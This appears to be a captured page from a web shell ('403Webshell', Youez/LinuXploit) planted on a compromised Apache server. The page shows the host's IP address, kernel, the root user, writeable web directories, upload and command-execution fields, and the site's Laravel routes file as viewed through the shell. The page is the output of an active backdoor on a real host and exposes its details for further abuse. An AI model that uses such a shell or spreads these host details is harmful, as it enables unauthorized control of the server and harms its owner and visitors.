403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/abyogasms.com/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/abyogasms.com/routes/web.php
<?php
use App\Http\Controllers\AuthController;
use App\Http\Controllers\CertificateController;
use App\Http\Controllers\UserProfileController;
use App\Http\Controllers\DashboardController;
use App\Http\Controllers\LocationController;
use App\Http\Middleware\EnsureUserIsFrontendCustomer;
use Illuminate\Support\Facades\Route;

Route::get('/', function () {
    return view('stage');
})->name('home');

Route::get('/about', function () {
    return view('about');
})->name('about');

Route::get('/services', function () {
    return view('services');
})->name('services');

Route::get('/why-us', function () {
    return view('whyus');
})->name('whyus');

Route::get('/founder', function () {
    return view('founder');
})->name('founder');

Route::get('/membership', function () {
    return view('membership');
})->name('membership');

Route::get('/values', function () {
    return view('values');
})->name('values');

Route::post('/free-register', [CertificateController::class, 'freeregister']);
Route::post('/download-certificate', [CertificateController::class, 'downloadCertificate'])->name('certificate.download');

Route::get('/api/states', [LocationController::class, 'getStates']);
Route::get('/api/states/{state}/districts', [LocationController::class, 'getDistricts']);

/*Route::get('/stage/', function () {
    return view('stage');
});
*/

// Guest Routes (Only logged-out users can see this)
Route::middleware('guest')->group(function () {
    Route::get('/login', [AuthController::class, 'showLogin'])->name('login');
    Route::post('/login', [AuthController::class, 'login']);
    Route::post('/register', [AuthController::class, 'register']);
});

// Logout Route
Route::post('/logout', [AuthController::class, 'logout'])->name('logout');

// Normal frontend dashboard routes
Route::middleware(['auth', EnsureUserIsFrontendCustomer::class])->group(function () {
    Route::get('/dashboard', function () {
        return view('dashboard'); // Your normal frontend blade dashboard
    })->name('dashboard');
    Route::get('/certificate/generate', [CertificateController::class, 'generateCertificate'])->name('certificate.generate');
    Route::get('/idcard/generate', [CertificateController::class, 'generateIDCard'])->name('idcard.generate');
    
    // Profile routes
    Route::get('/profile', [UserProfileController::class, 'show'])->name('profile.show');
    Route::put('/profile', [UserProfileController::class, 'update'])->name('profile.update');
});

Youez - 2016 - github.com/yon3zu
LinuXploit